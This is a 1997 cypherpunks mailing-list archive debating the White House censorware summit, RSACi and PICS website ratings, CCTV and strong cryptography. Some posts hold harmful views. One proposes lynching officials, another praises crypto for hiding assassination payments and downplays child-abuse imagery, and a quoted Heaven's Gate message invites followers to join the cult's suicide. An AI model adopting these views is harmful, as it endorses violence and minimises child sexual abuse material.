offense (but it may be a civil violation of the rights of the
             receivers of that data) unless the data is deemed to be
harmful to minors.  Then the publisher will be prosecuted for
             negligence.

             These publishers may be sued in civil court by any parent who
feels their children were harmed by the data negligently
             presented.  The parents shall be given presumption in all
cases and do not have to prove the data actually produced harm
             to their child only that the material reasonably could be
considered to have needed a label warning to protect children.



         7.      Internet Service Providers are considered publishers of
only that material of which they directly control or gain revenue via a
         percentage of sales.  Web Site designers may be held liable if
they fail to attach ratings to Web sites, containing material harmful to
            minors, they design for a fee. They may, by written agreement,
assign the task of rating to another legally responsible party.

       8.      Not every document is required to be labeled, only the
default or index document of each directory.  In the case of an entire web
          domain being of one rating, only its default top level document
needs to be labeled with instructions to apply it to the entire site. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 17 Jul 1997 06:21:27 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.3.32.19970716150056.009d49f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 AM 7/16/97 -0700, Lucky wrote:
>I can't remember how RSACi authenticates the tags. I assume they are either
>signed by a CA or not authenticated.
>[...]
>
>2) If the tags are not signed by a CA.
>What is someone to prevent from labeling the NAMBLA monthly site,
>"government authorized news site, suitable for all ages"?

In addition to the criminal penalties which have been discussed, I think
it's possible that a mis-labeller would face a civil suit for trademark
violation or unfair competition - it's also possible to imagine a claim
that the mis-labelling is fraud (particularly if the mis-labelled site
charges for access), which can have civil and criminal penalties. (wire
fraud is also a federal RICO predicate.) 

Then again, if lots of people did it, it'd be awfully tough to sue them all. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:36:47 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162010.PAA26244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 05:11:26 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <199707162038.PAA26638@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716111552.13849C-100000@well.com>, on 07/16/97
   at 11:16 AM, Declan McCullagh <declan@well.com> said:

>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan

This doesn't sound like the "voluntary" system that the "news" media has
been advertising.

Perhaps they were too busy peddling Toilet Paper & Tampons to report the
most important part of the story: "Clinton Administration wants Mandatory
Rating System for the Internet".

The mechanics of RSACi are really secondary to the fact that the FEDS want
to force them on us.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:59:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162038.PAA26641@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970716141513.00ae82f0@labg30>, on 07/16/97 
   at 02:15 PM, John Deters <jad@dsddhc.com> said:


>Please forgive me for following up to my own posting, but I just realized
>how close I was to a solution:

>A Constitutional amendment that would call for the impeachment of the
>President for failing to veto any three bills that are overturned by the
>Supreme Court on Constitutional grounds.

>Call it "The Failure to Do Your Job" amendment, or the "For Violating
>Your Oath" amendment.  Maybe include a clause that stipulates the
>ex-President must also return any salary earned during his or her tenure.

I have a better solution:

Any elected official or govenment employee found to have willfuly violated
the Constitution of the United States of America should be draged to the
capitol steps and promptly lynched.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:16:46 +0800
To: cypherpunks@toad.com
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: <Pine.GSO.3.95.970716155009.4823H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I'll be participating in a Time Online chat this
evening at 8 pm EST. Our guests will be Chris
Hansen from the ACLU and Bruce Taylor, a longtime CDA
supporter and head of the National Law Center for
Children and Families.

We'll be talking about the White House censorware
summit, self-rating of news sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as
your browser supports frames, but the Ichat client
software is more stable:

  http://www.ichat.com/download/

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:17:12 +0800
To: cypherpunks@toad.com
Subject: Time Online chat at 8 pm: Does the Net need a Nanny?
Message-ID: <Pine.GSO.3.95.970716155604.4823M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



We're having a Time Online chat this evening at 8 pm
EST to discuss Net-censorship. I'll be joining
Chris Hansen from the ACLU and Bruce Taylor, a
longtime CDA supporter and head of the National Law
Center for Children and Families.

We'll be talking about the White House censorware
summit, self-rating of web sites, and free speech
online in general.

Join us at:

  http://pathfinder.com/time/community/newsforum.html

You can participate in the chat as long as your
browser supports frames, but the Ichat client software
is more stable:

  http://www.ichat.com/download/

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 05:54:36 +0800
To: cypherpunks@algebra.com
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
Message-ID: <3.0.1.32.19970716160904.00ac92a0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



This message was also To: Declan McCullagh <declan@well.com>, but
apparently algebra.com eats messages with more than one To: recipient.

From: John Deters <jad>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>

At 08:03 AM 7/16/97 -0700, you [Declan McCullagh] wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 06:40:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716160226.22616A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.
> 
> Marc Rotenberg
> EPIC.

The current us-private sector may well suck up to the White
House control freaks, refusing to index pages that don't
contain RSACi advirsories.  If this is the case then I 
assume that new browsers and index engines will pop up
that refuse to do these things.

Any law that forces people to self-censor or that forces
them to truthfully self-censor is tantamount to forcing
people to not lie.  If this isn't an abridgement of the
9th or 10th amendment, I don't know what is.

Unless you are paying for the material or you sign a 
contract with the index engine stipulating that 
falsifying the information is breach of contract (and
they pay you for the priveledge to index your site)
I don't see how this could be enforceable.

The very value of the indexing engines is that they
pick up huge amount of information.  They couldn't
afford to pay everyone for their site listing.

What would happen if you rated your site honestly and
then made a change where you said the S-word and forgot
to re-rate it?

Are they going to prosecute for that?  Talk about a
change control nightmare!

This is a ridiculous bunch of crap.

If MS and Netscape and the rest of these guys buy off
on it, its time for programmers and cypherpunks to
start programming again.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 06:32:09 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rep. Rick White on White House censorware summit (fwd)
In-Reply-To: <Pine.GSO.3.95.970716143224.4823B-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716161905.22616C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





> 
> (Washington, D.C.)  --  Congressman Rick White (R-First District) today
> made clear his desire to protect kids who use the Internet but expressed
> concern that the federal government can solve the problem.  White's
> remarks were made during his participation in a closed meeting at the
> White House that focused on making the Internet family friendly.
> 
> "I have four children who love to use the Net and there is no question
> we need to protect our kids from harmful material on the Internet.
> Today's meeting was a step in the right direction," said White.  "But as
> we evaluate the next step we need to make sure we don't lure ourselves
> into a false sense of security.  No matter what we do in the United
> States it won't affect sites developed in Amsterdam or Bangkok.  That's
> why I'm skeptical that the federal government can solve this problem.
> The real solution will come from the smart people in the private
> sector."
> 

Oh, I'm sure the "smart" people in the private sector will do something.
 ;-)

I don't know if the people at Microsoft will go along with it though.

Jim







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 17 Jul 1997 07:51:12 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <199707162332.QAA24337@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:
> 
> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship

That should be Making the Net Safe for SafeSurf.

The proposal is a classic example of "if you can't beat 'em in
the marketplace, beat 'em in the legislature".  It would require
a rating system while locking out new competition from the net
censorshipratings field.   SafeSurf operates
a ratings system.  Can you say "conflict of interest"?

Note provision 3, which stipuates that a rating must be "issued by a
ratings service that has a minimum of 5,000 documented individuals usin
its system to mark their data."

That'd kind of make it hard to start a competing ratings system, wouldn't it?


 

> Here is an example of a proposal being presented
> at the White House today.
> 
> The minds boggles at the number of unconstitutional
> provisions contained in such a brief text.
> 
> Never has a freedom won in a Supreme Court decision
> been given up so quickly.

Just like the lumber barons who destroyed vast forests for
their own profit, too many modern business people are willing
to sell out our freedoms in return for profit for themselves.


-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 07:57:48 +0800
To: Marc Rotenberg <cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
Message-ID: <199707162346.QAA01928@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Marc:

What a bunch of crap!  Keep out of the internet, you government 
flunky.  Let business, commerce and freedom of speech remain in it's 
new home, Cyberspace.  And save your regulations for someone who 
needs them.

On or About 16 Jul 97 at 14:42,  Marc Rotenberg <rotenberg@epic.org> wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 14:16:47 -0500
> From: Marc Rotenberg <rotenberg@epic.org>
> To: fight-censorship@vorlon.mit.edu
> Subject: The Real Plan: Making the Net Safe for Censorship
> 
> 
> Here is an example of a proposal being presented
> at the White House today.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Thu, 17 Jul 1997 04:48:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SPA statement and RSAC release
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <Pine.LNX.3.96.970716164124.833A-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

>   "The software industry recognizes -- and understands -- the legitimate
> concerns of parents, educators, the President and Vice President, legislators
> and other citizens about the content and suitability of many Internet sites for
> our children.  We believe parents should have the opportunity, and readily
> available tools, to monitor -- and block -- objectionable online content.

The WebMuseum, MoMA, Le Photo magazine website, every artist run centre on
the Internet, how do you rate them? 

Nudity? Sex? Violence? 

Just about every gallery would include at least one of these either
directly or with suggestions of. Currently it is not the norm to restrict
gallery viewers to being of the age of majority, why should the online
equalivent have special requirements? 

I think the RSAC's need for RSACnews shows how myoptic their thinking is,
what about online Encyclopedias? Search Engines? Dictonaries? Heath Care,
Sexual Education? Photojournalism? People magazine ("How to undress in
front of your husband" was an photo article I think was published by
People in the 50s in USA)? 

Thank god public libraries didn't censor the books I read when I was less
than 18. I'd go crazy. I learnt a lot of things kids don't talk about in a
small town. Nor did the two university I went to when I less than 18
censor my Internet access. 

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 18:02:57 +0800
To: Antonomasia <ant@notatla.demon.co.uk>
Subject: Re: law as enemy: was Re: Jim Bell reference
In-Reply-To: <199707141829.TAA03188@notatla.demon.co.uk>
Message-ID: <Pine.LNX.3.91.970716171449.1459B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> PB> Don`t cloud the issue: The simple fact is strong encryption can and will 
> PB> obstruct law enforcement agencies in their "fight" against terrorism, 
> PB> child pornography, drugs etc... good.
> 
> Strong widespread crypto will cut down on much crime in the form of
> electronic theft, blackmail etc.  I expect some obstruction of law
> enforcement, but not enough to outweigh the benefits.  Despite the
> occasionally glaring failures of a legal system it is still overall
> of use to the public.

Of course, but strong crypto is ideally suited for freeing restricted 
markets, that is one of its best features: it is a guerilla tool, and 
individual movements within markets are often one to one transactions, 
strong crypto can be used to conceal assasination payments, drugs 
transactions etc. from the police, and will thus free the markets. 
Of course strong crypto can also stop subversion of protocols, but that 
is a more social than political issue.


> PB> Once again, you fail to give adequate qualification to this statement, 
> PB> what forms of terrorism are you against: one mans terrorist is another 
> PB> mans freedom fighter.   Were the French resistance during WWII terrorists? 
> 
> Not everything is relative.  WW2 was a clearly recognised war, in
> which France had been invaded.

There are many other examples, the line is too hazy to be black on white. 

> PB> category, distributing pictures of children being molested, raped, 
> PB> buggered, tortured and killed is clearly not a crime. Please clarify your 
> PB> position on this.
> 
> Such photography would suggest at least cooperation with
> those you'd regard as criminals.

Not really, anonymous transfer of data along with use of a usenet type 
system means people with pornographic images on their computers need 
never have cooperated with child molesters or pornography producers, or 
even know who, or where, they are. 

> My position is toward the Trei/Sameer end of the scale and away from
> the extreme anarchist views of you, TCM and Jim Bell.  Not that you 3 are
> always wrong, but in the issue of 'law always enemy' I completely fail
> to see where you get your ideas.  Sufficiently clarified ?

It depends on your perspective with regard to valid systems of law, "law 
always enemy" is not a defensible position where a valid system of law is 
in place, the current systems are not valid and persecute the innocent, I 
cannot see any case where I can give praise to the whole system because 
of a few isolated cases where it`s form of law coencides with my own.

> PB> Above are two examples of why strong cryptography is a good thing, law 
> PB> enforcement should be routinely obstructed as often as possible.
> 
> Are you going to post your home address and holiday plans on the list
> so we give you the chance to gloat over failing law enforcement ?

I rarely go on holiday (UK term for vacation for US cpunks) because if 
someone does burgle my house I want to be here, it would probably be 
worth them trying just so I could catch them <evil laugh>...

I believe in aiding law enforcement as much as possible where a genuine 
crime, such as murder, rape, mugging etc. has been commited, but I would 
refuse to assist in any enquiries into victimless "crimes"...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Thu, 17 Jul 1997 09:07:19 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Big Sellout
In-Reply-To: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
Message-ID: <33CD6C29.C60338E7@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> I spoke to Netscape earlier today. The company previously had announced it
> would support PICS in a future version of Navigator. Now it's pledging to
> support PICS in the *next* version.
> 
> -Declan

  I don't care if Netscape supports PICS or not, as long as I still have
the
freedom to turn that option off (and that it is preferrably not enabled
by
default, or indicates in an OBVIOUS way that it is active).

  This whole thing is a load of shit though. The government is
professing
to have control over thousands of private computers and networks. No one
has to put their kids on the net (IMHO the damn thing is a large waste
of
time, they should be reading books or building things instead), so it
must
be the parents decision to give them access -- It is therefore the
parents
responsibility to monitor their kids activities, not the governments and
not
everyone elses.

  My webpage will proudly remain unlabeled by any labeling standard.
Anyone got a good design for a 'No Lables, Never' sticker to add to our
pages?

  Brian  

-- 
-------------------< http://www.eskimo.com/~nexus >--------------------
EET, Embedded Systems Programmer     PGP email OK     Linux Afficionado
====[  9E83F5D5/C1 BD 82 44 7C 4E 4D 5B  8E D3 FD A0 04 11 A4 AF  ]====





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 17:48:32 +0800
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: <Pine.LNX.3.91.970716175214.1459C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>     only option for law enforcement will be to remove the offending
>     devices or declare maks illegal for public use (a real stretch for
>     civil liberties).
> 
> Yeah, right, get real. The only reason you might want to avoid being
> identified is if you have something to hide. 

And surely the only reason anyone would want to encrypt anything was if 
they had something to hide.

I regularly walk very close to shop fronts in the towns near me so I stay 
out of the field of vision of the CCTV cameras, arrest me now, I must be 
dangerous....

> Wearing a mask is only
> going to draw attention to you, and if you think everyone is suddenly
> going to start wearing masks...like I said in paragarph one, most
> people over here welcome the cameras.

I think if enough people wore suitable hats it would make it more 
difficult for individuals to be identified on CCTV tapes.

> Please don't misinterpret my motives. I would be the first to celebrate
> if no threat to privacy existed. Unfortunately there are immoral,
> irresponsible and downright antisocial (not to mention the
> psychologically unsound) people who will not abide by the law, or to
> what we regard as social norms and persist in infringing our rights.

Define law, and define social norms and why they should be adhered to. On 
second thoughts, don`t even bother, just think it over for yourself, I am 
uninterested in your perspective.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 17:58:23 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: CCTV Cameras in Britain (fwd)
In-Reply-To: <199707161318.IAA19917@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970716180859.1459D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >   Since an ounce of good marijuana costs $300.00 instead of merely
> > $3.00, it is profitable to not abide by the law.
> 
> Don't know where you live but your street prices are about 300% too
> high...


Depends on what and where you are buying, TruthMonger lives in canada 
(saskatchewan <sp>), in the UK a typical street price for an ounce of 
black is around £100 (about $170), but for good weed or skunk it can be 
up to about £150 (nearly $300), maybe the US market is sligtly more free 
resulting in lower prices...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 17 Jul 1997 09:22:13 +0800
To: "Ross Wright" <cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162346.QAA01928@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970716181248.00b5a920@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:47 PM 7/16/97 -0700, Ross Wright wrote:
>Marc:
>
>What a bunch of crap!  Keep out of the internet, you government 
>flunky.  Let business, commerce and freedom of speech remain in it's 
>new home, Cyberspace.  And save your regulations for someone who 
>needs them.

You will get a lot more respect on the net once you learn how to read
messages. I'll leave it you to figure out what you got wrong.

Sheesh. And I retreated to mailing lists to get away from this kind of
stuff on USENET.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Thu, 17 Jul 1997 06:43:39 +0800
To: cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
Message-ID: <199707161828.TAA01754@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>http://cgi.pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News Network (http://netlynews.com)
>July 16, 1997                        
>
>The Censorware Summit
>by Declan McCullagh (declan@well.com)
                                             

>        Today, Friedland and more than a score of industry and nonprofit
>   groups are visiting the White House to promote technical means of
>   stopping Junior from visiting playboy.com. President Clinton is
>   expected to endorse such measures over attempts to revive broad
>   criminal laws like the ill-fated Communications Decency Act, which he
>   supported. But this new approach suffers from all sorts of problems.

A UK computer vendor (I forget which) deals in its catalogue with the 
possible concerns of parents at internet content in this way.  It suggests
that the computer is in a family room where parents can readily see what
Junior is up to.  Common sense or what ?  Bubba can keep his nose out.

>                                                Rep. Bob Goodlatte       
>   (R-Va.), a staunch CDA supporter who will be at today's summit. "They
>   said we can't go that route. I'm certainly interested in developing 
>   other options. I want to put the burden on pornographers. One of the
>   ways to do that is to have Congress pass legislation that would make
>   it difficult for people to misrate their web site."

And I (poor ignorant thing) thought that pornmasters wanted their
sites recognised for what they are to attract visitors.



--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 10:42:37 +0800
To: cypherpunks@toad.com
Subject: Microsoft will NOT ship browser with RSACi on by default
Message-ID: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 19:30:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Microsoft will NOT ship browser with RSACi on by default

Microsoft called me a few hours ago and told me that -- despite reports to
the contrary -- the company definitely will *not* ship the next version of
Internet Explorer configured to block unlabeled sites out of the box. 
"The product is going to ship with Content Advisor off by default," said
Mark Murray (mmurray@microsoft.com). 

My article at http://netlynews.com today had said:

  The next version of IE will default to displaying only properly
  labeled web pages, according to Ken Wasch, the president of the
  Software Publishers Association.

This comes after previous reports that RSACi might be default-on:

  http://pathfinder.com/netly/editorial/0,1012,476,00.html
  http://pathfinder.com/netly/editorial/0,1012,740,00.html

Kudos to Microsoft for doing the right thing.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 17 Jul 1997 07:41:08 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Big Sellout
In-Reply-To: <3.0.2.32.19970715230342.006f15a8@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970716193212.10019A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Lucky Green wrote:

> Sure the CDA was struck down by the Supreme Court. Would a law prohibiting
> "mislabeling" of websites be struck down as well? I doubt it.

Didn't the Supreme Court strike down a requirement to have the group that
pays for political advertising on the advertising?  (I thought I heard
this, but I'm not entirely sure..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 07:51:33 +0800
To: edgarswank@juno.com (Edgar W Swank)
Subject: Re: HeavensGate Mirror incomplete/censored
In-Reply-To: <19970405.022954.11998.1.edgarswank@juno.com>
Message-ID: <v03007803aff30bf01e0f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



We decided to ditch the Pathfinder mirror site after a few weeks.

The difference in the heavensgate.com and pathfinder.com sites was due, I
remember, to the fact that we grabbed our copy from the heavensgatetoo.com
site, which wasn't quite identical.

-Declan


At 03:28 +2037 3/31/5, Edgar W Swank wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Mike Duvos recently posted here
>
>  For complete information on the impending recycling of the planet
>  earth, and instructions for entering the Kingdom Level above
>  Human, try the mirror at...
>
>       http://www.pathfinder.com/news/heavensgate
>
>I was able, finally, to get through to the original site
>
>       http://www.heavensgate.com
>
>and I noticed the mirror site does not include two links present
>in the original
>
>  Earth Exit Statements by Students
>
>  Exit Press Release:
>  "Away Team" Returns to Level Above Human
>
>which are perhaps the most interesting for "outsiders."  The last
>one starts
>
>  RANCHO SANTA FE, CA -- By the time you receive this, we'll be gone --
>  several dozen of us. ...
>
>And offers these instructions for stragglers ...
>
>  During a brief window of time, some may wish to follow us.  If
>  they do, it will not be easy.  The requirement is to not only
>  believe who the Representatives are, but, to do as they and we
